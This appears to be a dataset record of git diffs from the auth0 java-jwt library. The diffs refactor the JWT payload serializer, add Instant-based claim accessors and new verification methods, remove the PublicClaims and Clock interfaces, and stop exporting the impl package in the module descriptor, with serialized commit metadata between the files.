-import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
-import java.util.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
- *
- * @see com.auth0.jwt.JWTCreator
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.JWTCreator
  */
-public class PayloadSerializer extends StdSerializer<ClaimsHolder> {
-
+public class PayloadSerializer extends ClaimsSerializer<PayloadClaimsHolder> {
     public PayloadSerializer() {
-        this(null);
-    }
-
-    private PayloadSerializer(Class<ClaimsHolder> t) {
-        super(t);
+        super(PayloadClaimsHolder.class);
     }
 
     @Override
-    public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
-
-        gen.writeStartObject();
-        for (Map.Entry<String, Object> e : holder.getClaims().entrySet()) {
-            if (PublicClaims.AUDIENCE.equals(e.getKey())) {
-                writeAudience(gen, e);
-            } else {
-                gen.writeFieldName(e.getKey());
-                if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
-                    gen.writeNumber(dateToSeconds((Date) e.getValue()));
-                } else {
-                    gen.writeObject(e.getValue());
-                }
-            }
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        if (RegisteredClaims.AUDIENCE.equals(entry.getKey())) {
+            writeAudience(gen, entry);
+        } else {
+            super.writeClaim(entry, gen);
         }
-
-        gen.writeEndObject();
     }
 
+    /**
+     * Audience may be a list of strings or a single string. This is needed to properly handle the aud claim when
+     * added with the {@linkplain com.auth0.jwt.JWTCreator.Builder#withPayload(Map)} method.
+     */
     private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
         if (e.getValue() instanceof String) {
             gen.writeFieldName(e.getKey());
@@ -56,7 +46,7 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
                 List<?> audList = (List<?>) e.getValue();
                 for (Object aud : audList) {
                     if (aud instanceof String) {
-                        audArray.add((String)aud);
+                        audArray.add((String) aud);
                     }
                 }
             }
@@ -73,8 +63,4 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
             }
         }
     }
-
-    private long dateToSeconds(Date date) {
-        return date.getTime() / 1000;
-    }
 }u}(jG  (cc2b3db8e4de89dbf5bd126e17c5b2300357a441j  6lib/src/main/java/com/auth0/jwt/impl/PublicClaims.javaj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.java?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  X  @@ -1,21 +0,0 @@
-package com.auth0.jwt.impl;
-
-
-public interface PublicClaims {
-
-    //Header
-    String ALGORITHM = "alg";
-    String CONTENT_TYPE = "cty";
-    String TYPE = "typ";
-    String KEY_ID = "kid";
-
-    //Payload
-    String ISSUER = "iss";
-    String SUBJECT = "sub";
-    String EXPIRES_AT = "exp";
-    String NOT_BEFORE = "nbf";
-    String ISSUED_AT = "iat";
-    String JWT_ID = "jti";
-    String AUDIENCE = "aud";
-
-}u}(jG  (7c4da4f7f48b03fbd0308c94d860bd9fe175b4aaj  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj  modifiedj  K%j  Kj  K3j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X
  @@ -2,6 +2,7 @@
 
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -13,79 +14,100 @@ public interface Claim {
 
     /**
      * Whether this Claim has a null value or not.
+     * If the claim is not present, it will return false hence checking {@link Claim#isMissing} is advised as well
      *
      * @return whether this Claim has a null value or not.
      */
     boolean isNull();
 
+    /**
+     * Can be used to verify whether the Claim is found or not.
+     * This will be true even if the Claim has {@code null} value associated to it.
+     *
+     * @return whether this Claim is present or not
+     */
+    boolean isMissing();
+
     /**
      * Get this Claim as a Boolean.
-     * If the value isn't of type Boolean or it can't be converted to a Boolean, null will be returned.
+     * If the value isn't of type Boolean or it can't be converted to a Boolean, {@code null} will be returned.
      *
      * @return the value as a Boolean or null.
      */
     Boolean asBoolean();
 
     /**
      * Get this Claim as an Integer.
-     * If the value isn't of type Integer or it can't be converted to an Integer, null will be returned.
+     * If the value isn't of type Integer or it can't be converted to an Integer, {@code null} will be returned.
      *
      * @return the value as an Integer or null.
      */
     Integer asInt();
 
     /**
      * Get this Claim as an Long.
-     * If the value isn't of type Long or it can't be converted to an Long, null will be returned.
+     * If the value isn't of type Long or it can't be converted to a Long, {@code null} will be returned.
      *
      * @return the value as an Long or null.
      */
     Long asLong();
 
     /**
      * Get this Claim as a Double.
-     * If the value isn't of type Double or it can't be converted to a Double, null will be returned.
+     * If the value isn't of type Double or it can't be converted to a Double, {@code null} will be returned.
      *
      * @return the value as a Double or null.
      */
     Double asDouble();
 
     /**
      * Get this Claim as a String.
-     * If the value isn't of type String or it can't be converted to a String, null will be returned.
+     * If the value isn't of type String or it can't be converted to a String, {@code null} will be returned.
      *
      * @return the value as a String or null.
      */
     String asString();
 
     /**
      * Get this Claim as a Date.
-     * If the value can't be converted to a Date, null will be returned.
+     * If the value can't be converted to a Date, {@code null} will be returned.
      *
      * @return the value as a Date or null.
      */
     Date asDate();
 
+    /**
+     * Get this Claim as an Instant.
+     * If the value can't be converted to an Instant, {@code null} will be returned.
+     *
+     * @return the value as a Date or null.
+     */
+    default Instant asInstant() {
+        Date date = asDate();
+        return date != null ? date.toInstant() : null;
+    }
+
     /**
      * Get this Claim as an Array of type T.
-     * If the value isn't an Array, null will be returned.
+     * If the value isn't an Array, {@code null} will be returned.
+     *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as an Array or null.
      * @throws JWTDecodeException if the values inside the Array can't be converted to a class T.
      */
-    <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException;
+    <T> T[] asArray(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a List of type T.
-     * If the value isn't an Array, null will be returned.
+     * If the value isn't an Array, {@code null} will be returned.
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as a List or null.
      * @throws JWTDecodeException if the values inside the List can't be converted to a class T.
      */
-    <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException;
+    <T> List<T> asList(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a generic Map of values.
@@ -97,11 +119,12 @@ public interface Claim {
 
     /**
      * Get this Claim as a custom type T.
+     * This method will return null if {@link Claim#isMissing()} or {@link Claim#isNull()} is true
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as instance of T.
      * @throws JWTDecodeException if the value can't be converted to a class T.
      */
-    <T> T as(Class<T> tClazz) throws JWTDecodeException;
+    <T> T as(Class<T> clazz) throws JWTDecodeException;
 }u}(jG  (7dd9c43b0a94e10cd2846bb8803f11e0ff91c2f0j  5lib/src/main/java/com/auth0/jwt/interfaces/Clock.javaj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.javal     j  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.java?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  XM  @@ -1,16 +0,0 @@
-package com.auth0.jwt.interfaces;
-
-import java.util.Date;
-
-/**
- * The Clock class is used to wrap calls to Date class.
- */
-public interface Clock {
-
-    /**
-     * Returns a new Date representing Today's time.
-     *
-     * @return a new Date representing Today's time.
-     */
-    Date getToday();
-}u}(jG  (52b3ba563217cb3f699802c797b48fefc111a327j  6lib/src/main/java/com/auth0/jwt/interfaces/Header.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -1,7 +1,7 @@
 package com.auth0.jwt.interfaces;
 
 /**
- * The Header class represents the 1st part of the JWT, where the Header value is hold.
+ * The Header class represents the 1st part of the JWT, where the Header value is held.
  */
 public interface Header {
 
@@ -35,7 +35,7 @@ public interface Header {
 
     /**
      * Get a Private Claim given it's name. If the Claim wasn't specified in the Header, a 'null claim' will be
-     * returned. All of the methods of that claim will return {@code null}.
+     * returned. All the methods of that claim will return {@code null}.
      *
      * @param name the name of the Claim to retrieve.
      * @return a non-null Claim.u}(jG  (33cd0d709b9180e86ced111a663c5dfb4ff78efej  >lib/src/main/java/com/auth0/jwt/interfaces/JWTPartsParser.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -3,12 +3,13 @@
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
 /**
- * The JWTPartsParser class defines which parts of the JWT should be converted to it's specific Object representation instance.
+ * The JWTPartsParser class defines which parts of the JWT should be converted
+ * to its specific Object representation instance.
  */
 public interface JWTPartsParser {
 
     /**
-     * Parses the given JSON into a Payload instance.
+     * Parses the given JSON into a {@link Payload} instance.
      *
      * @param json the content of the Payload in a JSON representation.
      * @return the Payload.
@@ -17,7 +18,7 @@ public interface JWTPartsParser {
     Payload parsePayload(String json) throws JWTDecodeException;
 
     /**
-     * Parses the given JSON into a Header instance.
+     * Parses the given JSON into a {@link Header} instance.
      *
      * @param json the content of the Header in a JSON representation.
      * @return the Header.u}(jG  (b7030a97b485a1e1a45128cf60e2a1ebfffaee54j  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -3,10 +3,13 @@
 import com.auth0.jwt.exceptions.JWTVerificationException;
 
 
+/**
+ * Used to verify the JWT for its signature and claims.
+ */
 public interface JWTVerifier {
 
     /**
-     * Performs the verification against the given Token
+     * Performs the verification against the given Token.
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
@@ -15,7 +18,7 @@ public interface JWTVerifier {
     DecodedJWT verify(String token) throws JWTVerificationException;
 
     /**
-     * Performs the verification against the given decoded JWT
+     * Performs the verification against the given {@link DecodedJWT}.
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.u}(jG  (30a144a6b96d62db6ba9dfc908900a5ddfc8862dj  ;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -5,6 +5,7 @@
 
 /**
  * Generic Public/Private Key provider.
+ * While implementing, ensure the Private Key and Private Key ID doesn't change in between signing a token.
  *
  * @param <U> the class that represents the Public Key
  * @param <R> the class that represents the Private Key
@@ -14,7 +15,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     /**
      * Getter for the Public Key instance with the given Id. Used to verify the signature on the JWT verification stage.
      *
-     * @param keyId the Key Id specified in the Token's Header or null if none is available. Provides a hint on which Public Key to use to verify the token's signature.
+     * @param keyId the Key Id specified in the Token's Header or null if none is available.
+     *              Provides a hint on which Public Key to use to verify the token's signature.
      * @return the Public Key instance
      */
     U getPublicKeyById(String keyId);
@@ -27,7 +29,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     R getPrivateKey();
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This represents the `kid` claim and will be placed in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This represents the `kid` claim and will be placed in the Header.
      *
      * @return the Key Id that identifies the Private Key or null if it's not specified.
      */u}(jG  (feb58c64ad6b7e63d75ae8986a17520a7e4c39aej  7lib/src/main/java/com/auth0/jwt/interfaces/Payload.javaj  modifiedj  Kj  Kj  K"j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X'	  @@ -1,11 +1,12 @@
 package com.auth0.jwt.interfaces;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
 
 /**
- * The Payload class represents the 2nd part of the JWT, where the Payload value is hold.
+ * The Payload class represents the 2nd part of the JWT, where the Payload value is held.
  */
 public interface Payload {
 
@@ -37,20 +38,47 @@ public interface Payload {
      */
     Date getExpiresAt();
 
+    /**
+     * Get the value of the "exp" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Expiration Time value or null.
+     */
+    default Instant getExpiresAtAsInstant() {
+        return getExpiresAt() != null ? getExpiresAt().toInstant() : null;
+    }
+
     /**
      * Get the value of the "nbf" claim, or null if it's not available.
      *
      * @return the Not Before value or null.
      */
     Date getNotBefore();
 
+    /**
+     * Get the value of the "nbf" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Not Before value or null.
+     */
+    default Instant getNotBeforeAsInstant() {
+        return getNotBefore() != null ? getNotBefore().toInstant() : null;
+    }
+
     /**
      * Get the value of the "iat" claim, or null if it's not available.
      *
      * @return the Issued At value or null.
      */
     Date getIssuedAt();
 
+    /**
+     * Get the value of the "iat" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Issued At value or null.
+     */
+    default Instant getIssuedAtAsInstant() {
+        return getIssuedAt() != null ? getIssuedAt().toInstant() : null;
+    }
+
     /**
      * Get the value of the "jti" claim, or null if it's not available.
      *
@@ -59,8 +87,8 @@ public interface Payload {
     String getId();
 
     /**
-     * Get a Claim given it's name. If the Claim wasn't specified in the Payload, a 'null claim'
-     * will be returned. All of the methods of that claim will return {@code null}.
+     * Get a Claim given its name. If the Claim wasn't specified in the Payload, a 'null claim'
+     * will be returned. All the methods of that claim will return {@code null}.
      *
      * @param name the name of the Claim to retrieve.
      * @return a non-null Claim.u}(jG  (4a8a0f8408a3f968e59f987f557d03582e6f8144j  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj  modifiedj  KVj  K5j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X7  @@ -2,15 +2,18 @@
 
 import com.auth0.jwt.JWTVerifier;
 
+import java.time.Instant;
 import java.util.Date;
+import java.util.function.BiPredicate;
 
 /**
- * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid.
  */
 public interface Verification {
 
     /**
-     * Require a specific Issuer ("iss") claim.
+     * Verifies whether the JWT contains an Issuer ("iss") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
      * @param issuer the required Issuer value.
      * @return this same Verification instance.
@@ -20,56 +23,44 @@ default Verification withIssuer(String issuer) {
     }
 
     /**
-     * Require a specific Issuer ("iss") claim.
+     * Verifies whether the JWT contains an Issuer ("iss") claim that contains all the values provided.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param issuer the required Issuer value. If multiple values are given, the claim must at least match one of them
      * @return this same Verification instance.
      */
     Verification withIssuer(String... issuer);
 
     /**
-     * Require a specific Subject ("sub") claim.
+     * Verifies whether the JWT contains a Subject ("sub") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
      * @param subject the required Subject value
      * @return this same Verification instance.
      */
     Verification withSubject(String subject);
 
     /**
-     * Require a specific Audience ("aud") claim. If multiple audiences are specified, they must all be present
-     * in the "aud" claim.
-     *
-     * If this is used in conjunction with {@link #withAnyOfAudience(String...)}, whichever one is configured last will
-     * determine the audience validation behavior.
+     * Verifies whether the JWT contains an Audience ("aud") claim that contains all the values provided.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param audience the required Audience value
      * @return this same Verification instance.
      */
     Verification withAudience(String... audience);
 
     /**
-     * Require that the Audience ("aud") claim contain at least one of the specified audiences.
-     *
-     * If this is used in conjunction with {@link #withAudience(String...)}, whichever one is configured last will
-     * determine the audience validation behavior.
-     *
-     * Note: This method was added after the interface was released.
-     * It is defined as a default method for compatibility reasons.
-     * From version 4.0 on, the method will be abstract and all implementations of this interface
-     * will have to provide their own implementation.
+     * Verifies whether the JWT contains an Audience ("aud") claim contain at least one of the specified audiences.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
-     * The default implementation throws an {@linkplain UnsupportedOperationException}.
-     * 
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
-    default Verification withAnyOfAudience(String... audience) {
-        throw new UnsupportedOperationException("withAnyOfAudience");
-    }
+    Verification withAnyOfAudience(String... audience);
     
     /**
-     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
-     * Setting a specific leeway value on a given Claim will override this value for that Claim.
+     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims
+     * will still be valid. Setting a specific leeway value on a given Claim will override this value for that Claim.
      *
      * @param leeway the window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
      * @return this same Verification instance.
@@ -79,7 +70,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Expires At ("exp") Claim will still be valid.
-     * Expiration Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Expiration Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Expires At Claim will still be valid.
      * @return this same Verification instance.
@@ -89,7 +81,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Not Before ("nbf") Claim will still be valid.
-     * Not Before Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Not Before Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Not Before Claim will still be valid.
      * @return this same Verification instance.
@@ -100,8 +93,10 @@ default Verification withAnyOfAudience(String... audience) {
     /**
      * Set a specific leeway window in seconds in which the Issued At ("iat") Claim will still be valid.
      * This method overrides the value set with {@link #acceptLeeway(long)}.
-     * By default, the Issued At claim is always verified when the value is present, unless disabled with {@link #ignoreIssuedAt()}.
-     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed, and this method has no effect.
+     * By default, the Issued At claim is always verified when the value is present,
+     * unless disabled with {@link #ignoreIssuedAt()}.
+     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed,
+     * and this method has no effect.
      *
      * @param leeway the window in seconds in which the Issued At Claim will still be valid.
      * @return this same Verification instance.
@@ -110,114 +105,152 @@ default Verification withAnyOfAudience(String... audience) {
     Verification acceptIssuedAt(long leeway) throws IllegalArgumentException;
 
     /**
-     * Require a specific JWT Id ("jti") claim.
+     * Verifies whether the JWT contains a JWT ID ("jti") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
-     * @param jwtId the required Id value
+     * @param jwtId the required ID value
      * @return this same Verification instance.
      */
     Verification withJWTId(String jwtId);
 
     /**
-     * Require a claim to be present, with any value.
+     * Verifies whether the claim is present in the JWT, with any value including {@code null}.
+     *
      * @param name the Claim's name.
      * @return this same Verification instance
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaimPresence(String name) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is present with a {@code null} value.
+     *
+     * @param name the Claim's name.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is {@code null}.
+     */
+    Verification withNullClaim(String name) throws IllegalArgumentException;
+
+    /**
+     * Verifies whether the claim is equal to the given Boolean value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Boolean value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Integer value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Integer value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Long value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Long value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Integer value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Double value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given String value.
+     * This check is case-sensitive.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Date value.
+     * Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim is equal to the given Instant value.
+     * Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying a date-time claim value, any time units more granular than seconds will not be considered.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is {@code null}.
+     */
+    default Verification withClaim(String name, Instant value) throws IllegalArgumentException {
+        return withClaim(name, value != null ? Date.from(value) : null);
+    }
+
+    /**
+     * Executes the predicate provided and the validates the JWT if the predicate returns true.
+     *
+     * @param name the Claim's name
+     * @param predicate the predicate check to be done.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is {@code null}.
+     */
+    Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException;
+
+    /**
+     * Verifies whether the claim contain at least the given String items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withArrayClaim(String name, String... items) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given Integer items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException;
 
     /**
-     * Require a specific Array Claim to contain at least the given items.
+     * Verifies whether the claim contain at least the given Long items.
      *
      * @param name  the Claim's name.
      * @param items the items the Claim must contain.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
 
     Verification withArrayClaim(String name, Long ... items) throws IllegalArgumentException;
 
     /**
-     * Skip the Issued At ("iat") date verification. By default, the verification is performed.
+     * Skip the Issued At ("iat") claim verification. By default, the verification is performed.
      *
      * @return this same Verification instance.
      */
@@ -226,7 +259,7 @@ default Verification withAnyOfAudience(String... audience) {
     /**
      * Creates a new and reusable instance of the JWTVerifier with the configuration already provided.
      *
-     * @return a new JWTVerifier instance.
+     * @return a new {@link com.auth0.jwt.interfaces.JWTVerifier} instance.
      */
     JWTVerifier build();
 }u}(jG  (a1e30e310243c236953ec7875157ce6f550a2834j  "lib/src/main/java/module-info.javaj  modifiedj  K j  Kj  Kj  zhttps://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javaj  yhttps://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -1,8 +1,5 @@
 module com.auth0.jwt {
-    // remove transitive in next major release
     requires com.fasterxml.jackson.databind;
-    // remove in next major release
-    exports com.auth0.jwt.impl;
 
     exports com.auth0.jwt;
